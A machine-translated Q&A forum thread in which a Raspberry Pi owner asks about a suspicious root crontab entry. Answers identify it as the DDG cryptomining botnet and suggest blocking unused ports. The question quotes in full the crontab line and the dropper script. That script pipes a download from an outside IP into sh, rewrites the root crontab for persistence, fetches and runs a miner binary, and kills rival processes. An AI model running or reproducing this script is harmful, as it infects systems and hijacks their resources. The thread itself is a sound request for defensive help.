☰

疑わしいcrontabエントリは15分ごとに「xribfa4」を実行します。

tag-icon • tag-icon security cron malware
疑わしいcrontabエントリは15分ごとに「xribfa4」を実行します。

私はRaspberry Piのルートcrontabファイルにいくつかのコンテンツを追加したいと思っていましたが、疑わしいようなものが見つかりました。

クローンタブ項目：

*/15 * * * * (/usr/bin/xribfa4||/usr/libexec/xribfa4||/usr/local/bin/xribfa4||/tmp/xribfa4||curl -m180 -fsSL http://103.219.112.66:8000/i.sh||wget -q -T180 -O- http://103.219.112.66:8000/i.sh) | sh

その内容はhttp://103.219.112.66:8000/i.sh次のとおりです。

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

mkdir -p /var/spool/cron/crontabs
echo "" > /var/spool/cron/root
echo "*/15 * * * * (/usr/bin/xribfa4||/usr/libexec/xribfa4||/usr/local/bin/xribfa4||/tmp/xribfa4||curl -fsSL -m180 http://103.219.112.66:8000/i.sh||wget -q -T180 -O- http://103.219.112.66:8000/i.sh) | sh" >> /var/spool/cron/root
cp -f /var/spool/cron/root /var/spool/cron/crontabs/root

cd /tmp
touch /usr/local/bin/writeable && cd /usr/local/bin/
touch /usr/libexec/writeable && cd /usr/libexec/
touch /usr/bin/writeable && cd /usr/bin/
rm -rf /usr/local/bin/writeable /usr/libexec/writeable /usr/bin/writeable

export PATH=$PATH:$(pwd)
ps auxf | grep -v grep | grep xribfa4 || rm -rf xribfa4
if [ ! -f "xribfa4" ]; then
    curl -fsSL -m1800 http://103.219.112.66:8000/static/4004/ddgs.$(uname -m) -o xribfa4||wget -q -T1800 http://103.219.112.66:8000/static/4004/ddgs.$(uname -m) -O xribfa4
fi
chmod +x xribfa4
/usr/bin/xribfa4||/usr/libexec/xribfa4||/usr/local/bin/xribfa4||/tmp/xribfa4

ps auxf | grep -v grep | grep xribbcb | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep xribbcc | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep xribbcd | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep xribbce | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep xribfa0 | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep xribfa1 | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep xribfa2 | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep xribfa3 | awk '{print $2}' | xargs kill -9

echo "*/15 * * * * (/usr/bin/xribfa4||/usr/libexec/xribfa4||/usr/local/bin/xribfa4||/tmp/xribfa4||curl -m180 -fsSL http://103.219.112.66:8000/i.sh||wget -q -T180 -O- http://103.219.112.66:8000/i.sh) | sh" | crontab -

私のLinuxの知識は限られていますが、インドネシアのサーバーからバイナリをダウンロードして定期的にrootとして実行することはまれです。

これは何ですか？どうすればいいですか？

答え1

DDGマイニングボットネットとその仕組みは次のとおりです。

  1. RCEの脆弱性の悪用
  2. クローンタブの修正
  3. 適切なマイニングプログラムのダウンロード（goで書かれています）
  4. マイニングプロセスの開始

DDG：データベースサーバーを狙うマイニングボットネット

SystemdMiner ボットネットが他のボットネットのインフラを借りるとき

上層および下層：AWS EC2 インスタンスから Minad マルウェアを削除するにはどうすればよいですか? （感染したサーバー）

答え2

実際に必要なTCPおよびUDPポートを確認してから、ルーターファイアウォールで他のすべてのポートをブロックしてください。可能、対応するcrontabエントリは再表示されません。

次のコマンドを使用すると、どのポートが開いていて公開されているかを確認できます。盾を立てろ！grc.com トピック。

未使用のポートを最初にブロックしないと、パッチを試みると再び感染する可能性があります。

関連情報